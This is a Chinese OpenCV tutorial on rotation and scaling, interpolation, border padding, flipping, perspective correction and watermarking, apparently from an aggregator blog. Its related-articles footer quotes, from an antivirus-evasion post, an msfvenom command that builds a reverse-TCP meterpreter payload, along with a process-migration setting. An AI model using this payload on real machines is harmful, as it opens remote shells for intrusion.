优化图像处理:从旋转与缩放到水印添加

news2024/9/22 9:49:09

1. 旋转与缩放的仿射变换

在 OpenCV 中,cv2.getRotationMatrix2D() 函数可以生成旋转矩阵,该矩阵用于对图像进行旋转和缩放变换。旋转矩阵的主要参数是:

  • Center:旋转中心点的坐标 (x, y)。

  • Angle:旋转角度,单位是度。

  • Scale:缩放因子,调整图像的大小。

    import cv2
    img=cv2.imread("./src/tu.png")
    h,w,_=img.shape
    M=cv2.getRotationMatrix2D((w/2,h/2),45,1)
    m=cv2.warpAffine(img, M, (w, h))
    cv2.imshow("img",img)
    cv2.imshow("m",m)
    cv2.waitKey(0)

2. 旋转中的像素信息丢失

旋转图像时,由于三角函数计算出的坐标通常是浮点数,因此旋转后的像素点可能不会落在原始像素的整数坐标上。这导致以下问题:

  • 像素信息丢失:旋转过程中,某些像素点的坐标可能会落在图像边界之外,或多个像素点的旋转后坐标重合。

  • 插值问题:旋转后的坐标可能不是整数,这会导致需要计算这些非整数坐标对应的像素值。

3. 插值法的作用

为了处理这些问题,我们使用插值法来计算旋转后图像中每个像素点的值。常见的插值方法有:

  • 最近邻插值:cv2.INTER_NEAREST:简单且速度快,适合对图像进行小幅度的变换,但可能会导致锯齿效应。

  • 双线性插值:cv2.INTER_LINEAR:适用于大多数缩放操作,提供平滑的结果,尤其是在放大时。

  • 像素区域插值:cv2.INTER_AREA:用于图像缩小时表现良好,能避免模糊,并保留更多细节。

  • 双三次插值:cv2.INTER_CUBIC:提供比双线性更平滑的结果,适用于高质量的图像放大。

  • Lanczos插值:cv2.INTER_LANCZOS4:高质量插值方法,适合对图像进行大幅度变换,但计算开销较大。

import cv2
img = cv2.imread("./src/tu.png")
h, w, _ = img.shape
# 最近邻插值:CV2.INTER_NEAREST
img1 = cv2.resize(img, dsize=None, fx=0.5, fy=0.5, interpolation=cv2.INTER_NEAREST)
# 双线性插值:CV2.INTER_LINEAR
img2 = cv2.resize(img, dsize=None, fx=0.5, fy=0.5, interpolation=cv2.INTER_LINEAR)
# 像素区域插值:cv2.INTER_AREA
img3 = cv2.resize(img, dsize=None, fx=0.5, fy=0.5, interpolation=cv2.INTER_AREA)
# 双三次插值:cv2.INTER_CUBIC
img4 = cv2.resize(img, dsize=None, fx=0.5, fy=0.5, interpolation=cv2.INTER_CUBIC)
# Lanczos插值:cv2.INTER_LANCZOS4
img5 = cv2.resize(img, dsize=None, fx=0.5, fy=0.5, interpolation=cv2.INTER_LANCZOS4)
cv2.imshow("img", img)
cv2.imshow("img1", img1)
cv2.imshow("img2", img2)
cv2.imshow("img3", img3)
cv2.imshow("img4", img4)
cv2.imshow("img5", img5)
cv2.waitKey(0)
cv2.destroyAllWindows()

4.边缘填充方式

边缘填充方式用于处理图像在变换(如旋转、缩放)时的边界问题。常见的填充方式包括:

  • 边界复制:cv2.BORDER_REPLICATE:复制边缘像素填充,适用于保持图像的一致性。

  • 边界反射:cv2.BORDER_REFLECT:用边缘的镜像反射部分填充,使得填充区域与边缘平滑过渡。

  • 边界反射101:cv2.BORDER_REFLECT_101:类似于 BORDER_REFLECT,但不包含边缘的第一个像素,填充效果更加平滑。

  • 边界常数:cv2.BORDER_CONSTANT:用常量值填充边缘,常用于保持边缘的整洁。

  • 边界包裹:cv2.BORDER_WRAP:用图像的对面部分进行填充,适合周期性图像。

import cv2
import numpy as np
​
# 读取图像
img = cv2.imread("./src/face.png")
h, w, _ = img.shape
​
# 定义仿射变换矩阵
M = np.array([[0, 1, 50], [-1, 0, 100]], dtype=np.float32)
​
# 设置目标图像尺寸
dsize = (w * 2, h * 2)
# 使用不同的边界填充模式
border_modes = [cv2.BORDER_REPLICATE, cv2.BORDER_REFLECT, cv2.BORDER_REFLECT_101,cv2.BORDER_CONSTANT,cv2.BORDER_WRAP]
​
for mode in border_modes:
    img2 = cv2.warpAffine(img, M,dsize=dsize, flags=cv2.INTER_LINEAR, borderMode=mode, borderValue=[213,102,201])
    cv2.imshow(f"Border Mode: {mode}", img2)
​
cv2.waitKey(0)
cv2.destroyAllWindows()

图片镜像旋转

镜像旋转的翻转方式在 OpenCV 中通过 cv2.flip() 函数实现,flipCode 参数定义了翻转方式:

  • 0:垂直翻转,沿 x 轴对称。

  • 大于 0:水平翻转,沿 y 轴对称。

  • 小于 0:水平和垂直翻转,沿 x 轴和 y 轴对称。

    import cv2
    img = cv2.imread('./src/e.png')
    img1=cv2.flip(img,0)
    img2=img[::-1,::-1] #水平垂直翻转
    cv2.imshow("img",img)
    cv2.imshow("img1",img1)
    cv2.imshow("img2",img2)
    cv2.waitKey(0)

图像缩放

在图像缩放实验中,你可以独立调整图像在 x 轴和 y 轴的缩放比例,类似于图像旋转中的缩放,但允许不同方向上的不同缩放比例。使用 cv2.resize() 函数时,你可以设置 fxfy 进行缩放,插值方法如最近邻、双线性、像素区域、立方和 Lanczos 等,用于计算新像素值。双线性插值(cv2.INTER_LINEAR)是一种常用的方法,能够平滑地处理图像细节。

import cv2
img=cv2.imread('./src/c.png')
img1 = cv2.resize(img, dsize=None, fx=0.5, fy=0.5, interpolation=cv2.INTER_LINEAR)
cv2.imshow("img",img)
cv2.imshow("img1",img1)
cv2.waitKey(0)

图像矫正

图像矫正的原理是透视变换

透视变换的核心在于将图像从一个视角投影到另一个视角,从而修正图像中的透视畸变。相比于仿射变换,透视变换更复杂,它通过透视变换矩阵来处理三维到二维的投影过程。具体来说,透视变换矩阵是一个3x3的矩阵,其中每个元素影响着图像中点的变换关系。OpenCV中的getPerspectiveTransform(src, dst)函数用于计算这个矩阵,warpPerspective(src, M, dsize)函数则用来应用这个矩阵进行实际的透视变换。

import cv2
import numpy as np
​
# 读取图像
img = cv2.imread('./src/3.png')
​
# 定义源点
src1 = np.float32([[178, 102], [518, 154], [113, 300], [503, 346]])
​
# 绘制线条
img_line = img.copy()
cv2.line(img_line, tuple(src1[0].astype(np.int64)), tuple(src1[1].astype(np.int64)), (0, 0, 255), 2, cv2.LINE_AA)
cv2.line(img_line, tuple(src1[0].astype(np.int64)), tuple(src1[2].astype(np.int64)), (0, 0, 255), 2, cv2.LINE_AA)
cv2.line(img_line, tuple(src1[1].astype(np.int64)), tuple(src1[3].astype(np.int64)), (0, 0, 255), 2, cv2.LINE_AA)
cv2.line(img_line, tuple(src1[2].astype(np.int64)), tuple(src1[3].astype(np.int64)), (0, 0, 255), 2, cv2.LINE_AA)
​
# 定义目标点
h, w = img.shape[:2]
src2 = np.float32([[0, 0], [w, 0], [0, h], [w, h]])
​
# 计算透视变换矩阵
src = cv2.getPerspectiveTransform(src1, src2)
​
# 应用透视变换
img1 = cv2.warpPerspective(img, src, (w, h), flags=cv2.INTER_LINEAR, borderMode=cv2.BORDER_REFLECT_101)
cv2.imshow("img", img_line)
cv2.imshow("img1", img1)
cv2.waitKey(0)
cv2.destroyAllWindows()

图像添加水印

添加水印的过程可以理解为将一张图片中的图案叠加到另一张图片上。具体步骤如下:

1. 模板输入

模板输入用于获取水印图案。首先,将水印图像转换为灰度图,然后进行二值化处理。这一步的目的是创建一个掩膜图像,其中水印图案是白色(255),背景是黑色(0)。

2. 与运算

得到掩膜图像后,在目标图像中定义一个区域(ROI,感兴趣区域)作为水印的添加区域。使用掩膜图像与该ROI区域进行“与”运算。通过这种运算,只有掩膜图像中白色部分的区域会在目标图像的ROI区域中保留下来,其余部分将被遮盖。

3. 图像融合

最后,将经过与运算得到的目标区域与原始水印图像进行融合。图像融合步骤是将水印图像与目标图像中的对应区域进行逐像素的相加操作,注意两者的尺寸必须一致。这样,水印图案就会被成功叠加到目标图像中,从而实现水印的效果。

import cv2
import numpy as np
img=cv2.imread("./src/cat.png")
logo=cv2.imread("./src/logohq.png")
​
# 获取 logo 的尺寸
h, w, _ = logo.shape
# 将 logo 转换到 HSV 颜色空间
hsvlogo = cv2.cvtColor(logo, cv2.COLOR_BGR2HSV)
#提取红色范围
lower1 = np.array([0, 43, 46])
upper1 = np.array([10, 255, 255])
#提取灰色范围
lower2 = np.array([0, 0, 46])
upper2= np.array([180, 43, 220])
# 创建掩膜
mask1 = cv2.inRange(hsvlogo, lower1, upper1)
mask2 = cv2.inRange(hsvlogo, lower2, upper2)
mask=mask1+mask2
# 显示掩膜
cv2.imshow("mask", mask)
# 提取与 logo 大小相同的背景区域
img2 = img[:h, :w]
# 使用掩膜提取文字区域
text_bool = (mask == 255)
# 将文字部分融合到背景图像中
img2[text_bool] = logo[text_bool]
cv2.imshow("img", img)
cv2.imshow("logo", logo)
cv2.waitKey(0)
cv2.destroyAllWindows()

总结

整个过程包括:

  • 从模板图像中创建掩膜。

  • 在目标图像中定位水印区域,并用掩膜图像来提取水印形状。

  • 将提取出的水印图像与目标图像的相应区域融合

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043161.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构与算法--图的应用

文章目录 回顾提要连通图生成树最小生成树构造最小生成树的算法普里姆(Prim)算法克鲁斯卡尔(Kruskal)算法 最短路径狄杰斯特拉 (Dijkstra) 算法当前最短路径的更新拓扑排序拓扑排序方法拓扑排序示例总结 回顾 图的遍历方法: 深度优先遍历 (DFS):从任意…

在centos7安装mysql

1.卸载旧环境 ps axj | grep mysql ps axj | grep mariabd 如果是这样就什么都不需要做。 如果不是 2.检查并卸载系统安装包 //检查安装包 rpm -qa | grep mysql//卸载安装包 rpm -qa | grep mysql | xargs yum -y remove 3.安装官方yum源 先查看系统的版本 比如我是7.9版…

力扣高频SQL 50题(基础版)第四十题之1164. 指定日期的产品价格

文章目录 力扣高频SQL 50题(基础版)第四十题1164. 指定日期的产品价格题目说明实现过程准备数据实现方式结果截图总结FIRST_VALUE()函数LAST_VALUE()函数NTH_VALUE()函数 LAST_VALUE()函数NTH_VALUE()函数 力扣高频SQL 50题(基础版&#xff0…

YJ0043定制版抖音电商卷抢购系统带回收商城抖音电商优惠卷投资理财系统

系统是基于逍遥商城二开的系统,pc手机端都新增了邀请码验证 手机端重新定制的UI,前端产品不至于抖音卷也可以自行更改其他产品 用户前端下单,后台订单可以直接回收,后台支持设置默认邀请码和抢卷时间限制

动手学深度学习(pytorch)学习记录10-从零开始实现softmax回归[学习记录]

注:本代码在jupyter notebook上运行 封面图片来源 导包 import torch from IPython import display import torchvision from torchvision import transforms from torch.utils import data设置加载数据的线程数 def get_dataloader_workers(): ""&qu…

《学会 SpringBoot 系列 · spring.factories 详解》

📢 大家好,我是 【战神刘玉栋】,有10多年的研发经验,致力于前后端技术栈的知识沉淀和传播。 💗 🌻 CSDN入驻不久,希望大家多多支持,后续会继续提升文章质量,绝不滥竽充数…

机器人阻抗控制之设计方法

机器人阻抗控制的设计方法主要围绕调整机器人与环境之间的动态关系,使其等效为由弹簧-阻尼-质量组成的二阶系统。这一控制策略不是直接控制机器人的运动或其与外界的接触力,而是控制这二者之间的动态关系。以下是机器人阻抗控制设计方法的详细阐述&#…

Centos7系统上安装docker

centos7安装docker 安装之前,一定查看是否安装docker,如果有,卸载老版本 我是虚拟机装的Centos7,linux 3.10 内核,docker官方说至少3.8以上,建议3.10以上(ubuntu下要linux内核3.8以上&#xff…

LVS详细配置

目录 LVS简介 LVS集群体系结构 LVS相关术语 lvs集群的类型 1、NAT模式 NAT简介 NAT模式数据逻辑 2、DR模式 DR模式简介 DR模式数据逻辑 DR模式的特点 3、TUN模式 TUN模式简介 TUN模式数据传输过程 TUN模式特点 4、fullnet模式 LVS模式总结 LVS调度算法 LVS静…

python从入门到精通:函数

目录 1、函数介绍 2、函数的定义 3、函数的传入参数 4、函数的返回值 5、函数说明文档 6、函数的嵌套调用 7、变量的作用域 1、函数介绍 函数是组织好的,可重复使用的,用来实现特定功能的代码段。 name "zhangsan"; length len(nam…

机器学习(1)--数据可视化

文章目录 数据可视化作用可视化方法实现可视化 总结 数据可视化 数据可视化是将数据以图形、图像、动画等视觉形式表示出来,以便人们能够更直观地理解、分析和交流数据中的信息。 作用 一个整理的好好的数据,我们为什么要将其可视化呢?将它…

深入理解指针

前言&#xff1a;对于指针我们已经有了初步的了解&#xff0c;并已能够简单使用。今天我们来深入理解指针。让我们的指针功力更上一层楼。 1 使用指针访问数组 有了指针的知识&#xff0c;再结合数组的特点&#xff0c;我们就可以使用指针来访问数组了。 #include<stdio.…

线程的进阶学习

线程结束方式: 1.pthread_exit //pthread_join 2.从线程执行函数中return //此时效果等价于pthread_exit 3.pthread_cancel //线程可以被取消 4.任何一个线程调用了exit 或者 主线程 (main函数) return都会造成 进程结束 线程资源回收 ---pthread_join int pthread_ca…

汤姆·克鲁斯对妮可·基德曼经常对粉丝提起他们以前的事感到恼火

妮可基德曼最近回忆了她与前夫汤姆克鲁斯和导演斯坦利库布里克在 1999 年的电影《大开眼戒》中合作的时光。这似乎是对她职业生涯中某个时刻的无伤大雅的回顾&#xff0c;但据报道&#xff0c;有一个人对她在纪念该电影上映 25 周年时的谈话感到不满。 据报道&#xff0c;克鲁…

Polars简明基础教程十四:可视化(四)

数据帧交换协议 数据帧互换协议&#xff08;Dataframe Interchange Protocol&#xff09;&#xff0c;是为了提高不同数据帧库之间的互操作性而设计的。 想象一下&#xff0c;你有很多不同类型的储物箱&#xff08;在这里比喻为不同的数据帧库&#xff0c;如 Pandas、Polars、…

ArkTs基础语法-声明式UI-基本概念

声明式UI语法 基本概念声明式UI描述创建组件无参数有参数 配置属性配置事件 配置子组件 基本概念 装饰器&#xff1a;用于装饰类、结构、方法及变量&#xff0c;并赋予其特殊的含义。 例如&#xff1a; Entry 有该装饰器的自定义组件&#xff0c;可以在UIAbility中使用&#xf…

Transformer在单细胞组学中干了啥?

—https://doi.org/10.1038/s41592-024-02353-z 留意更多内容&#xff0c;欢迎关注微信公众号&#xff1a;组学之心 研究团队和单位 综述简介 细胞表型参考图谱的构建&#xff08;已有很多篇超百万级单细胞的多组学图谱&#xff09;&#xff0c;极大丰富了单细胞组学数据的数…

WEB渗透免杀篇-Python源码免杀

Base64编码Pyinstaller打包 MSF监听需设置自动迁移进程 set autorunscript migrate -n explorer.exe msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.0.108 LPORT12138 -f c -o /var/www/html/1.cShellcode粘贴在shellcodebase64c.py中 python…

Element UI导航菜单刷新就复原问题解决方法~

1、首先要知道为什么一刷新就复原了&#xff0c;是因为default-active属性设置的是默认值&#xff0c;是一个死值&#xff0c;一旦刷新就会复原&#xff0c;造成高亮不能保持&#xff0c;那么怎么解决呢&#xff1f; 2、很简单&#xff0c;无需像一些博主一样绑定path。思路&a…

本机电脑,代码仓库,服务器三者代码同步流程

本机电脑&#xff0c;代码仓库&#xff0c;服务器三者代码同步流程 本机电脑将代码push到代码仓库从代码仓库clone或者pull代码服务器&#xff08;非必要但习惯于&#xff09;本机电脑通过ssh远程连接服务器进行操作 关于密钥&#xff1a;&#xff08;通过ssh的密钥同步代码不…